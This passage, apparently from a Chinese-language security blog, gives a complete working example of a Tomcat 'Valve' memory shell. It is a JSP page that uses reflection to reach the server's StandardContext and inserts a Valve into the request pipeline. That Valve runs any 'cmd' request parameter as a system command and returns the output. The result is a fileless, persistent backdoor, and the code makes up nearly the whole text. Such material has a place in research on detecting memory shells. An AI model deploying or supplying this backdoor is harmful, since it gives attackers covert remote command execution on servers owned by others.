1 standardContext.getPipeline().addValve(valve);
Valve内存马实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Valve" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddVavle</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Valve valve = new Valve () { @Override public void invoke (Request request, Response response) throws IOException, ServletException { HttpServletRequest req = request; String cmd = req.getParameter("cmd" ); if (cmd != null ) { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } this .getNext().invoke(request, response); } @Override public boolean isAsyncSupported () { return false ; } @Override public Valve getNext () { return null ; } @Override public void setNext (Valve valve) {} @Override public void backgroundProcess () {} }; standardContext.getPipeline().addValve(valve); response.getWriter().write("Success" ); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
参考